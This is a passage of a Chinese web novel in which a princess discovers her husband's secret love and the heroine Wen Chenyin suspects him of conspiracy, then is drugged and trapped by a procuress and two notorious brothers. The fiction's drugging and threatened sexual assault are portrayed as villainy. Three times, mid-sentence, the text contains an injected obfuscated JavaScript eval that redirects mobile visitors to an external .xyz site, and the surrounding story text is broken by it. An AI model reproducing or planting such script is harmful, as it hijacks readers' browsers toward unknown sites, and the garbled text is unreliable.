一段时间的观察下来,魏昭玥很快发现,很多个丈夫借故不与她亲近的夜晚,都会独自驻足在那几株合欢树前沉思良久,像是想着他那些不为人知的心事。 但凡有风雨来临,将花朵打下时,他还会小心翼翼地将那些落花拾起,放进自己的房中。 虽然不知道丈夫的种种举动背后究竟藏着怎样的故事,但魏昭玥还是很快意识到,丈夫的心结或许是与何那些被移走的合欢有关,于是便不顾皇兄的好意,命人将许多的合欢树又重新种回了院子。 一切忙碌就绪的那日,魏昭玥特意在院中备下酒菜,等待晚归的丈夫。 或许是被她的一片赤诚所打动,那个夜晚,顾正霆回府之后见到院子里新种的合欢,终于抛下公务,与她同席而坐,一边赏月,一边饮酒,度过了一段甜蜜的时光。 时至酒过三巡,浑身醉意之下的顾正霆主动拉起了魏昭玥的手,进了她的房间。 对于当时的魏昭玥而言,那或许是她成婚之后最幸福的一个夜晚。 就连梅香也被她满心的娇羞和甜蜜所感染,目送他们进屋之后,便细心地替他们关上了房门。 时至深夜时分,在廊下守夜的梅香正迷迷糊糊地打着瞌睡,忽然听到了耳边传来一声响。 还没等她站起身来,闭紧的房门已经被拉开,紧接着,顾正霆冷着一张脸,脚步匆匆地踏出了房间。 梅香只觉得惊诧,低声叫了一句“侯爷”,对方却恍若未闻。 等到他背影彻底消失之后,她也顾不上礼数,轻轻在房门上敲了敲,便快步走了进去。 装饰华美的房间内,红烛已经燃尽,像是昭示着不久前的那场甜蜜已经彻底落幕。 魏昭玥衣裳不整地坐在床头,目光怔怔地看着前方,像是陷入了某种巨大的绝望之中。 在她身边侍奉了这么多年,梅香从未见过她如此失态的模样,心中不由得越发惊惑。 几经犹豫之后,她还是慢慢走到床前,轻声问道:“公主,你怎么了?是侯爷惹您不高兴了吗?” 话音刚落,魏昭玥像是被“侯爷”二字击中了一般,骤然间身子一软,倒在了她的怀里,掩面痛哭。 也就是在那个夜里,在魏昭玥断断续续的哭诉声中,梅香才终于知道,这位看似清心寡欲,不解风情的的驸马爷心里一直藏着一个人。 而院子里的合欢,便是多年之前,那个人亲手在他的院中种下的。 虽然不知出于何种原因,他终究没能和自己的心爱之人长相思守,而是在魏栩明的指婚之下,迎娶了魏昭玥,但心中却一直没有放下那个人。 或许对他而言,在婚姻的约束下,那个求而不得的女子会如高悬在天上的月亮一样,成为他一个永远不会被外人所知晓的秘密。 然而那个夜晚,因为酒精的催化,他终于还是在与魏昭玥亲热时,情难自抑地唤出了那个女人的名字。 魏昭玥不知道那个人究竟是谁,却知道这个名字和自己毫无关系。 那一刻,她虽然被丈夫想拥入怀,极尽温柔,但心中却是从未有过的绝望与痛苦。 她是大燕国内身份最尊贵的女人,享有无上的富贵与荣耀,原本以为自己也可以拥有全天下最令人称羡的一段姻缘,却不知道,从她看上顾正霆,并求皇上指婚的那一刻起,她的人生变已经陷入了无望的煎熬。 虽然她可以质问对方,发泄自己的不满,甚至可以利用长公主的身份将这个让自己受尽委屈的男人问罪,但她知道,自己已经回不去了。 这个驸马是她自己亲自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16359712|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挑选的,为了能嫁给他,她甚至不顾自己皇兄的反对,在他面前苦苦哀求。 若是被人知道她一心求来的驸马对她并无情意,整个皇家颜面都将因此受损。 而且她是真心爱着他,并不想他因此而被皇帝责难。 何况即便对方早已经因为这段婚姻,而成为了魏栩明的左膀右臂,大概也不会因为儿女私情上的亏欠,而被轻易责罚。 更重要的是,不久之后,魏昭玥发现自己的怀孕了。 虽然那个孩子出现在她最受屈辱的那个夜晚,但却还是给她带来了莫大的欣慰和希望。 所谓往事不可追。顾正霆的过去她已经无法参与,那未来的日子她依旧希望能和对方好好的过下去。 既然他们已经有了孩子,她也期盼着对方也会为了这个孩子的到来而顾念家庭。 接下去的十多年,随着儿子一天天的长大,顾正霆陪伴家人的时间也越来越多。 虽然很多时候,她也会觉得丈夫对于儿子的态度有些过于严苛,但转念之间,又会觉得那是因为对方是因为对他们的儿子抱有期待,才会对他那样严格。 而那个名字也再也没有出现过,仿佛那个夜晚,丈夫在她耳边那一声声温柔至极的呼唤,只是她的一场噩梦。 就算看到院子里那一株株的合欢,她也会安慰自己,一切的痛苦和屈辱都都只是她在臆想的错觉。 梅香陪伴在她身边,看着这位昔日里娇憨活泼的公主日渐消瘦,变得压抑隐忍,沉默寡言,心下难免又是心疼,又是不忿。 但身为侍女,她也只能选择沉默,眼睁睁地看着他们在外人面前扮演一对恩爱夫妻。 原本她以为,这么多年过去了,魏昭玥的装聋作哑,一再退让或许能让这些夫妻恩爱的戏码永远的演下去。 却万万没有料到,她的心上人会因为一株合欢,被拖入命运的漩涡。 梅香的哭诉声尚在耳边,但究竟还再说些什么,温沉吟已经完全听不到了。 那一刻,所有的怀疑经过抽丝剥茧后被关联在一起,最终指向了同一个真相。 许久之后,眼见梅香还在满脸恳切地看着自己,她才勉力压抑下汹涌的情绪:“关于那个女子的事,长公主殿下从未问过侯爷么?” “没有。” 梅香摇了摇头,口气中都是伤感:“对于长公主而言,此事太过屈辱,所以那个夜晚之后,她再也没有对任何人提起过。至于侯爷……那日他喝醉了酒,究竟说了些什么话,做过什么事,大概也都不记得了……” “既是如此,此事多说无宜,以后你们便当不知情,对谁也切勿再提起。至于今日之事……侯爷身份贵重,一旦出了什么事,你们必定性命不保。若你不再轻举妄动,我便会想法子,尽力保住阿晋的性命。” 梅音原本已经只想求得用自己一命换得阿晋的平安,听她有意相救,只觉又惊又喜,忍不住连连磕头:“多谢温小姐!” 一通话问到现在,温沉吟已知不能再耽搁,但离去之前,她还是忍不住最后问道:“还有一事……你方才说,侯爷酒后曾唤过那女子的名字,你可知是什么?” 梅音点了点头,神色看上去有些惶恐:“我记得公主与说过,侯爷所唤之人,名字叫做阿青。” 48. 阿青 日落黄昏之时,顾正霆回到府中。 踏进庭院那一刻,却看到温沉吟静静地伫立在一棵合欢树下。 一阵微风吹过,少女的裙摆轻轻拂起,满树的花朵也随之摇曳。 那一刻,某些埋藏在心底的记忆如同潮水一般汹涌而至,将他彻底淹没了。 那一年,莫岐山的流寇被平定之后,阿青便跟着平寇的大军一起来到天启。 按照裴行州的意思,对方父母已逝,帝都中又没有什么可以依靠的亲人,当务之急便是要先找个地方给她落脚。 为了能时常见到她,顾正霆便主动提出让她住进自己的府宅。但裴行州却顾忌着对方女儿家的名声,态度坚决地表示了反对。 最终,在一番争论后,他只能在距离自己屋宅不远的地方找了个院子,将她安置了下来。 自那之后,顾正霆开始频频找着各种借口过去探望。 每次他出现时,阿青也总会亲自下厨做上很多好菜,邀请他一起品尝。 那些热腾腾的食物不仅满足了他的味蕾,更让他感受到了从未有过的幸福与温暖。 如果说,在此之前,他满心想着的都是要挣下军功为自己证名的话,那从那时候,他所期盼的不过就是此后的日子,这个巧笑嫣然,又善解人意的女孩能够永远陪在自己身旁。 为了让对方能够了解自己,他也时不时会邀请阿青去自己的家中做客,并向她说起自己的过往。 他想让她知道,虽然他曾经家道中落,自己也曾经从一个众星捧月般的天之骄子跌落泥潭,可是凭着不懈的努力,他却还是一步步的重新在这繁华的帝都中站稳了脚跟。 对于他所讲述的一切,阿青似乎也很感兴趣,总是会认真地聆听。 那种满是专注的模样,甚至让他忽略了,对方在与他聊起往事时,总是会有意无意的问及关于裴行州的种种。 某次阿青来府中做客时,忽然随口提了一句,他这个宅子虽然很是气派,但是没有花植妆点,总觉得有点太过冷清。 因为对方这句话,从来没有在这些小事上花过心思的他立马久找来了花匠,仔细将庭院修整了起来。 得知消息后,阿青亲手在他的院子里种上了好几株合欢,说是作为他当初在流寇手中救下自己的谢礼。 虽然这个理由是如此无懈可击,但他却依旧一厢情愿地将这举动当作了是阿青对自己心意的回应。 庭院修葺完毕的那日,他特意备上了好酒好菜,邀请阿青来家中庆贺。 为了让气氛更热闹一点,他还特意叫上了自己最好的朋友裴行州。 那天夜里,他们三人在院中一边赏月,一边小酌。 庭院里花团锦簇,暗香浮涌。 酒过三巡之后,夜风吹起,成片的合欢在月色下轻轻摇曳着。 阿青放下酒杯,跑到了合欢树下,将那些被风吹落的残花小心的收拾起来,说是要做成香囊,送给自己最重要的人。 对于顾正霆而言,那是他此生最幸福的时候。 他甚至畅想着,或许不久之后,他便会收到阿青亲手缝制的礼物。 但他不知道的是,幸福与他而言犹如海市蜃楼,短暂而又脆弱。当他满心憧憬地期待着这一切时,与他把酒言欢的男人也因为阿青的这番话而微微扬起了嘴角。 他也不曾料到,被他心心念念记挂着的“阿青”这个名字最终会被虞澜婴三个字取代。 而那个代表着思念与相守的香囊,也出现在了自己最好的朋友手中。 思绪纷涌之际,温沉吟似是觉察到了什么,很快回过身去,冲着他的方向灿然一笑:“顾伯伯,您回来了?” 顾正霆这才回过神来,也跟着笑了起来:“今日有些急事要处理,所以回来迟了些,倒是让你久等了……不过你怎么一个人站在这?事情都已经商量完了么?” 温沉吟的脸上露出了一丝羞赧:“婚嫁之事,我实在没什么主意,一切任凭顾伯伯和长公主殿下做主便是。只是劳烦了长公主大半天,我实在过意不去,便说出来走走,也好让公主稍事休息……” 她顿了顿,目光重新落向了眼前的合欢花:“方才我在院中闲逛,见这府中种了许多合欢,忽然想到幼年时去裴叔叔府中做客,满院的合欢也是开得极好。没想到顾伯伯和裴叔叔不仅志趣相投,便是在花草的喜好上,也是一样的!此中默契,还真是难得!” 顾正霆摇了摇头,口气听上去有些无奈:“你裴叔叔一门心思都放在军务上,哪里会在种花养草这种小事上下功夫。你看到的那些合欢,想来都是他夫人的功劳!” 听他主动提到虞澜婴,温沉吟心下一跳,不自觉地捏紧了手心:“如此说来,顾伯伯与虞夫人才是真正的知己。不过这也难怪。我曾听说,顾伯伯与虞夫人相识在先,就连裴叔叔也是因为顾伯伯的关系,才与虞夫人结缘的……” 听她提及往事,顾正霆的眼中闪过了一丝警惕:“这些都是多年前的事了,琇琇你是如何得知?” 温沉吟心下急跳,脸上却不动声色:“之前与瑾哥闲聊,曾听他略微提起过。” 听说向他她提及往事之人是裴瑾,顾正霆似乎稍稍松了一口气:“阿瑾这孩子,怎么好端端的和你说起这些?” 温沉吟念头飞转,脸上却依旧挂着笑:“瑾哥说,他原本以为,顾伯伯一直将他视若己出,是因为您与裴叔叔关系交好,直到后来,他才直到,顾伯伯之所以对他这样好,是因为您与他的母亲之间的情谊,也同样深厚…… 顾正霆闻言越发好奇:“阿瑾的母亲去世时,他尚不足月,过去的往事,又如何知晓?” 温沉吟只觉得手心里渗出了密密的汗水,一颗心几乎就要跳出腔口,却只能极力让自己保持着镇定:“顾伯伯大概忘了,有一次醉酒时,您曾经在瑾哥面前提及过虞夫人的小字,所以他便想着,若非情谊深厚,这等私隐之事,虞夫人想来是不会轻易告知旁人的……” 她这番试探极是冒险,全然不似她平日里谨慎小心的行事风格。 可是层层猜疑如巨石一般压在心上,让她急不可待地想要把真相弄清楚。 只是她如今面对的是顾正霆,不仅心思机敏,而且与裴氏父子关系极好。 一旦对方在细节上继续追问下去,只怕她很快便会露出马脚。 然而顾正霆却像是隐秘的心事忽然被揭穿,已然手足无措无措,微怔之下便有些慌乱的解释了起来:“小字?阿瑾指的阿青这个名字吗?其实这并非是她母亲的小字,而是当年她身陷危局,出于防备,随口胡编的一个名字……而且虽我与虞夫人相识在先,但她与你裴叔叔之间缘分天定,并非由我撮合。虞夫人生性聪颖,秀外慧中,性情潇洒,更是不输男儿。能与她相识,已是我生平一大幸事!至于知己一说,那便是愧不敢当了……” 随着那声“阿青”脱口而出,高悬在温沉吟心头的巨石轰然坠下,将她的仅存的最后一丝侥幸砸得粉碎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16369948|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 对方还在解释些什么,她已经完全听不到了。 从顾正霆的种种回应来看,他对虞澜婴似乎一直保持着光风霁月、高山流水一般的挚友之情。 就他与裴行州多年以来一直亲密无间的关系来看,或许裴氏父子也是一直这样以为的。 可是对于已经窥见了他心中秘密的温沉吟而言,这段被强行粉饰过关系却让人分外心惊。 虽然不知当初出于何种原因,顾正霆隐藏起了对虞澜婴的爱慕,没有做任何争取,就将她拱手让给了自己最好的朋友,但毫无疑问,对于这个女子,他的心中从未放下过。 也正因如此,在娶妻生子这么多年后,对方所留下的任何一点痕迹都会轻易在他心中掀起骇浪惊涛。 如果一株被移走的合欢树都能让他对毫不知情的阿晋痛施酷刑,那过去的那些岁月里,他在一次次目睹裴氏父母夫唱妇随,恩爱有加的场景时,心中又是否是真能做到毫无怨妒之意? 强烈的冲击之下,接下里的时间里,温沉吟一直有些心不在焉。 对于顾正霆夫妇表现出来的诸般热情,她也都只是随意敷衍着。 到了晚膳时间,魏昭玥早早就备下了一桌好菜,启筷之前,又特意交代下人,拿出了自己亲手酿下的桂花酒。 待到侍女上前斟酒,顾正霆像是意识到了什么,左右看了一圈,便轻声问道:“今儿这是怎么了?怎么没让梅音伺候?” 魏昭玥明显有些尴尬,解释起来含含糊糊的:“她最近不知怎么了,总是心不在焉,做起事来也是毛毛躁躁的,我担心她冲撞了侯爷,便让她先歇着了。” “原来如此……” 顾正霆笑了起来,似是不以为意:“人食五谷杂粮,总有不舒服的时候,她既然这些日子状态不济,先歇着就是了。若有什么难处,我遣人替她解决了,你也不用为此烦忧。” 他这番话说得极是宽厚,似乎是因为深爱自己的妻子,才会对她的侍女也格外照顾。 但对于亲眼见过阿晋惨状的温沉吟而言,这故作恩爱的一幕却是别有一番滋味在心头。 梅香虽然暂时被自己劝住,但若阿晋依旧深陷险境,难保她此后不会再起杀心。 若要永诀后患,她只能保下阿晋的性命。 念头至此,温沉吟主动扬起酒杯:“今日叨扰了这么久,沉吟实在过意不去,只是眼下还有一事,想劳烦侯爷与长公主。” 听她有事相求,顾正霆和魏昭玥都露出了探究之色。 温沉吟凝了凝神,才继续说到:“自裴叔叔与瑾哥去往北境之后,裴府中久无人住,便一直荒废着。我便想着,成婚之后我便住进去,帮着打理打理,这样瑾哥每次回家,也不至于太过冷清…… 魏昭玥闻言,眼中露出赞许之色:“阿瑾常年在外征战,家里又没了亲人,若是府中有你时常打理着,自然是好事……” 温沉吟迅速接口:“既是如此,沉吟便有一个不情之请……方才听长公主殿下说,府中的花植之所以长得这样好,都是一个名叫阿晋的花匠的功劳。所以不知顾伯伯与长公主是否能将他借我几日,助我将裴叔叔府中的花园重新修缮一番?” 听她提及阿晋,顾正霆目色一凌,慢慢放下了手中的酒杯。 片刻之后,他的脸上慢慢浮出一抹笑:“你既有此心意,做伯伯的自当成全。只是阿晋前些日子身染疾病,正在修养。等他身子好些了,我便亲自将他送到你府中!” 49. 醉酒 怀着满腹的心事,那顿晚膳虽说魏昭玥不断相劝,温沉吟却是食而不知其味。 放了筷子没多久,她便主动提出告辞。 顾正霆却似将她心事重重地模样都看在眼里,临行之前,又叫人端了一盅参汤,并悉心叮嘱道:“你和阿瑾的父母都不在身边,遇到婚姻大事难免心乱。只是长公主疼惜你,阿瑾又如我亲儿子一般,此事必会替你安排周全,你就不用太忧心了……适才我见你胃口不好,便叫人炖了一盅参汤,你赶紧喝了,晚上也能睡得安稳些。” 温沉吟将汤接在手里,刚把盅盖打开,便是一阵浓香扑鼻而来,显然是用了上好的食材精心烹饪而成,心中越发觉得不是滋味。 顾正霆虽然对魏昭玥有所亏欠,对好友之妻也心思不纯,但毕竟君子论迹不论心。 这么多年以来,对方与裴行州赤诚相交,对裴瑾视若己出,甚至连带着对她这个未过门的裴家儿媳也是关心备至,处处呵护 然而她却因为对方心中对虞澜婴那段秘而不宣的爱恋,怀疑起了他对裴氏父子的用心,这不禁让她在愧疚之余,也不免有些自责。 喝完参汤之后,温沉吟便在顾正霆的淳淳叮嘱声中辞别。 走出府门没多久,却听到前方远远传来一声呼唤:“温姐姐!温姐姐!” 温沉吟凝神一看,只见有人骑在一匹高大的骏马上,正朝着他的方向疾驰而来。 待到骏马靠近,那人一勒缰绳,飞身下马,满是潇洒地站在了她的身前:“好久没见温姐姐了,你这是要去哪?” 发现来人竟是顾青影,温沉吟不禁笑了起来:“今日受侯爷邀请来府上做客,如今正准备回去呢。” 顾青影闻言有些失望,原本满是热情的一张脸也沮丧了起来:“温姐姐来府上做客,父亲却从未和我说起。如今我回来了,你却是要走了……” 多年以来,顾正霆与魏昭玥之间看似恩爱,实则疏离的关系即便外人看不透,作为他们儿子的顾青影却不会不清楚。 从过去的种种迹象来看,他也能感受到,比起自己这个亲儿子,父亲很显然对裴瑾更加看重。 但即便如此,他还要装作一副没心没肺地模样,努力维系着家庭和睦,父慈子孝的假象。 这其中滋味,想来也是难熬。 想到顾正霆为他取名“青影”之时,或许心中还存着惦念旧人之意,温沉吟心中只觉越发不是滋味。 为了不让他因此伤心,她只能不动声色地跳开了这个话题:“世子这是去哪了?怎么这么晚才回府?” 顾青影这才重新振作起精神:“我去卫山练习骑射,因为路程有些远,所以回来迟了些。” 温沉吟有些好奇:“世子练习骑射,为何要去那么远?城郊的松溪谷不就是练习骑射的好地方?来回的路程还能近一些……” 顾青影摇了摇头,神色变得有些沮丧:“自我懂事开始,父亲便从不让我去松溪谷,所以它就算再好,我也只能舍近求远了……” “这是为何?” “父亲虽未曾明说,但我却知道,云麾将军幼年时,父亲时常带着他在松溪谷骑马射箭。云麾将军天资聪颖,表现自然比我要出色得多。若我在那出现,必定会勾起他的回忆。两相比较之下,难免会让父亲失望……” “不会的!” 听他越说越沮丧,温沉吟不忍让他难过,于是主动宽慰道:“之前你不是还约了瑾哥一起去松溪谷散心吗?侯爷不是也没说什么?之所以将你安排去卫山,想来也是有别的原因……” “不是的……” 没等她把话说完,顾青影已经苦笑了起来:“之前约云麾将军去松溪谷散心,是父亲特意交代的。原本我还因为这件事开心了很久,没想到最后却连累他受了伤。虽然父亲知道后也没说什么,但想来心里必定对我很是失望……” 温沉吟原本只是安静听着,听他说到此处,不禁眼角一抽:“等一下!你方才说……松溪谷之行,是侯爷特意安排的?” “是啊!” 顾青影不明就里,但还是认真解释道:“父亲说,松溪谷环境清幽,平日里去的人也不多,外加云麾将军幼年时时常在那里练习骑射,对环境比较熟悉。去那里散散心,对他身体和记忆的恢复,都会大有益处……” 平地一声惊雷起,温沉吟瞬间双眼圆瞪,心脏再次剧烈的跳动了起来。 之前她一直以为,马小六当初为了避开卫宁的目光,冒充沈星出使越国,需要有一个合理的借口离开温府,所以约他出游的顾青影成为了他的利用对象,让他可以借坠马之实,住进了顾府别院。 虽然她也曾怀疑过,魏昭玥中毒病倒的时间实在太巧,但毕竟这盘棋局中的棋子并非只有马小六一个,有人暗中帮手也未可知。 如果当初安排顾青影去往松溪谷的正是顾正霆,那无论是马小六冒充沈星,还是大夫的配合,乃至于魏昭玥中毒病倒,就都有了更顺理成章的解释。 只是如此一来,顾正霆的身份也会成一个局外人,变成了马小六的同谋者。 更有甚至,他或许就是真正操控这场阴谋的幕后之人。 事实上,在当初意识到越王被刺一案的谋划者,必定是在燕国之中身居高位,手握重权之人时,温沉吟心中就已经列出一串嫌疑者的名单。 但从始至终,她却从未将怀疑的目光投向顾正霆的身上。 因为在她眼里,顾正霆一直都是个举止端方,志如松柏般的长辈,既不拉帮结派,也从未参与过任何夺嫡之争,一心只对皇帝效忠。 所以无论如何,也绝不会有将魏弘宣置于死地,并挑起燕、越两国之间战火的理由。 何况他与裴行州关系交好,又对裴瑾极是关爱,若是发现了马小六是个冒牌货,定不会任由他在自己的眼皮子底下招摇。 更重要的是,他向来表现得对妻子极是宠爱,绝不会以损伤爱妻的身体为代价,来完成一场阴谋。 可如今,阿晋的遭遇已经让她清楚的意识到,顾正霆对妻子的宠爱都只是在外人面前表演出来的假象。 那他所展示出来的报国之心,以及对裴行州的友情,对裴瑾的关爱,是否也是演出来的? 细细想来,当初他极有可能在殷鹤为了替马小六调养内息时,就已经发现了破绽,却始终没有过问一句,便已不是寻常之举。 越王被刺一案中,他安排顾青影领着马小六去往松溪谷,却在事发时以调整军防为由,远离天启去往晋州,比起巧合,更可能是为了摘清关系而进行的精心预谋。 可如果一切真如她所想,顾正霆早已识破了马小六的身份,却佯装不知,任由他留在自己身边,甚至借他之手,意欲谋害魏弘宣,他为何要这样做? 如今他已经身居高位,荣宠加身,成为魏栩明身边最信任的武将重臣,又能从这些阴谋里获得些什么? 除此之外,马小六和他究竟是什么关系,两人究竟是什么时候相识,又什么时候达成了合作? 越国之行时,马小六以命相赌,救出了魏弘宣,究竟是临时起意,还是此中有什么更大的阴谋? 随着各种念头纷至沓来,温沉吟只觉得头疼欲裂,身体也禁不止开始微微发抖。 顾青影见状只当她是在风里站久了有所不适,匆匆寒暄了两句后,便催着她赶紧离开了。 告别了顾青影,温沉吟满心的思绪却并未因此而平复。 相反的,随着她渐行渐远,步履也渐渐沉重了起来。 勉强又走了几百米,随着眩晕的感觉一阵强似一阵,她觉得自己实在撑不住了,只能就近找了个地方坐了下来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16374754|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稍事休息。 于此同时,她也开始隐隐觉得有点不对劲了。 她酒量不算好,但平素里和温珩谈史论道时也会偶尔喝上几杯。 何况魏昭玥命人送来的桂花酒清甜可口,如甜汤一般,便是喝上一壶,也不会有什么感觉。 可如今她身体的反应,却是头脑发晕,手脚酸软,仿佛醉酒一般,随时要晕阙。 随着身体越来越软,她甚至开始怀疑,是不是梅香心急之下,并未放弃一早的计划,依旧将毒药下进了酒水之中。 可是细细想来,当初那桂花酒端上来时,魏昭玥亦有饮用。 梅香就算对顾正霆心存怨恨,也想杀了自己灭口,可是对于侍奉多年的魏昭玥,却是万万不敢伤害的。 虽然一时之间她没能想明白自己究竟是怎么了,但她也很快判断出眼下身体的反应绝非是饮酒导致。 只是照眼前的情形看来,要想恢复如初,绝非休息一下就能解决的事。 趁着意识尚未完全模糊之前,她努力撑着身体站了起来,打算咬牙先回到府中再做计较。 不料起身之后,她的脚步变得越发虚浮,才勉强走了进步,便一个趔趄直直向前扑去。 索性跌倒之前,一双手及时将她扶住了:“这位姑娘,你怎么了?是哪里不舒服么?” 温沉吟抬起眼睛,目光落在了一个四十出头的中年妇人身上。 见她面目慈祥,满脸关心,她赶紧拼着最后的力气掏出了一锭银子:“这位大娘,我身子有些不舒服,你能不能帮我叫辆马车?这些银子算是给您的报酬……” 那妇人像是有些惊诧,但还是赶紧点头表示:“人吃五谷杂粮,都有个不舒服的时候,银子就不必了……只是你一个姑娘家,身子又不好,独自一人在这呆着也不是办法。我家刚好就在附近,我先扶你回去,你先在家喝口热茶休息一下,我再去帮你叫马车!” 见她愿意帮忙,温沉吟不禁松了一口气。 想着自己这昏昏沉沉,随时可能晕倒的状态,独自在外呆着也不是个办法,于是便任由她搀扶着,走进了附近的一处小巷。 索性那妇人的住处不远,进了小巷没多久,两人就在一处房门前停下了脚步。 推门进屋后,那妇人便将她搀倒床边坐下,随即又端来了一杯热茶,然后柔声交代道:“姑娘别客气,这屋子平日里就我一人住着。你若是觉得不舒服,便先躺下休息。等我叫到了马车,你再起身也不迟。” 温沉吟心下感激,心里暗自打算着离开之前,必要留下些银子以表谢意。 然而下一刻,当她的目光落向床头的枕头被褥时,心中却泛起了一丝异样。 从这屋子的位置环境和那妇人的衣着打扮来看,显然生活颇为拮据。 可此刻床上的枕头被褥,却都绫罗蚕丝所制,并不是她这样的普通人家能用的上的制式。 随着阵阵疑云泛起,温沉吟心下一凌,原本已经抬到唇边的茶杯,又悄无声息地放了下去。 那妇人却似一直在暗中观察着她的动作,见她放下杯子,不禁催促了起来:“姑娘,这茶你怎么不喝了啊?” 对方这急不可待的态度越发让温沉吟疑心,但浑身发软的情况下,她却依旧不动声色:“这茶水有些太烫了,等稍微凉些了我再喝。” 妇人低低“哦”了一声,似是还想催促,但见她一直看着自己,终究还是勉强笑了笑:“既是如此,那便再等等吧。我先出门去叫马车,姑娘记得一会把茶喝了,身子也能舒服些。” 温沉吟坐在床边,满脸柔顺地冲她点了点头,心中却已经拿定了主意,等到对方一走,自己立马就离开这里。 眼见那妇人出了门,她将茶杯一放,正准备起身,随着“咔”地一声轻响,房门竟已是被牢牢锁上了。 50. 困境 如果说在此之前,温沉吟还曾怀疑过,或许是对方生性热情,而自己却太过多心的话,到了房门被锁上的那一刻,她已经切切实实地认清了自己的处境。 只是自己与那妇人素不相识,对方为何要将她引到此处,究竟是临时起意还是早有预谋,她却依旧不清楚。 困局已定的情况下,她到也不慌乱,只是齿间用力,狠狠咬上了自己的舌尖。 随着一阵刺痛传来,浓烈的血腥气在口中漫开,她感觉神智稍明,便很快起身,走到窗边,悉心聆听起了屋外的动静。 片刻之后,一阵脚步声由远及近,最后在屋门前站定。 紧接着,那妇人的声音满是兴奋地响了起来:“两位公子,如今在屋中的那位姑娘乃世间绝色,奴家可是费了好大的劲才弄回来的。若不是两位公子平日间出手大方,奴家也不会第一时间便将此消息告诉你们……” 话音未落,已有男子笑着应道:“是不是绝色,我等一看便知。若真是如你所说,自然少不了你的好处。” 那妇人应了几声,随即又道:“方才我已已经在她的茶水中加了迷药,却不知她如今喝了没有。我见那姑娘性子倔强,不是那么好对付,若是没喝那茶,只怕公子要多费些功夫。” 男人像是有些不耐,很快催促道:“人既然在这了,喝与不喝也没什么关系。你拿了银子就赶紧走,别耽误我们兄弟干正事!” 那妇人不敢再说,唯唯诺诺地应了几声后,很快便没了声音。 紧接着,随着“咯吱”一声响,牢牢紧锁着的房门被人推开,两个高矮悬殊的陌生男子一前一后地走了进来。 走在前面的男子三十左右的年纪,身材不高不矮,样貌也算得上俊俏。 但看那一脸轻浮的表情,显然是个喜欢在女人堆里逐峰引蝶的浪荡子。 紧跟在他身后的男子身材矮小,只看个头仿佛是个还没成年的幼童,可那满是猥琐的目光和留在下巴上的几缕胡须,却明显昭示着他已然是个年岁不小的成年人。 发现温沉吟一脸镇定地站在屋内,那浪荡子似乎有些吃惊。 然而当他的目光落在她的脸上后,却很快啧啧叹了出来:“之前便听王婆一直夸赞姑娘容色倾城,堪称绝色,当时我还不信。如今亲眼得见,才知她所言不虚。” 听他出言轻佻,温沉吟心下厌恶,口气却不慌不乱:“不知公子尊姓大名,如今前来,究竟所为何事?” 那浪荡子嘿声一笑,口气越发轻浮:“在下胡礼,身旁这是小弟胡仪。至于我们为何前来……自然是听闻姑娘美名,想要亲近亲近!” 温沉吟身为朝臣之女,对江湖之事所知不多,但这对兄弟名声实在太响,关于他们的事迹却零零碎碎听过不少。 传闻这对兄弟虽为一母所生,但哥哥胡礼自幼能言善辩,样貌俊美,无论是吟诗做赋还是骑射武学,都颇有天赋。 弟弟胡仪却因体质不足,早早便停止了发育,成年之后不仅说起话来磕磕巴巴,便是连身材体姿,都宛若幼童。 虽然身材样貌大相径庭,但这对兄弟感情却是极好,平日里总是同进同出,形若一人,几乎到了孟不离焦,焦不离孟的地步。 更让人瞠目结舌的是,不知是为了弥补弟弟不能人事的遗憾,还是出于某种特殊的嗜好,胡礼每次与女子亲热时,总会将他带在身边。 胡仪虽然手无缚鸡之力,偏偏却画得一手好画,但凡遇到此种场景,总会将画面栩栩如生地记录下来,绘做一幅幅活色生香得春宫图。 时间久了,胡仪所绘的春宫图便开始在好色之徒手中四下流传,纨绔子弟们在对那些女子容貌身材评头论足的同时,也会热烈讨论谁的花样更多,谁的技术最好。 只是最初,被胡仪绘入图中的女子大多都出身妓馆,对于此等行径虽说羞恼,却因自身身份原本就被世人所轻贱,因此也只能忍气吞声,私下里咒骂上几句,并没有闹出太大的风波。 然而随着胡礼年纪渐长,很快便不再满足于与风尘女子风流快活,而是将目光投向那些身世清白的良家女子。 随之而来得春宫图,也让很多被迫受辱的女子在羞愤之下,闹下了不少人命官司。 虽说受害者家中怨声载道,一心想为受辱的女眷讨回公道,但胡氏兄弟结交甚广,其中也不乏能为他们脱罚洗罪的官场中人。 几场官司闹下来,最终也只是不痛不痒地罚了些银子便不了了之。 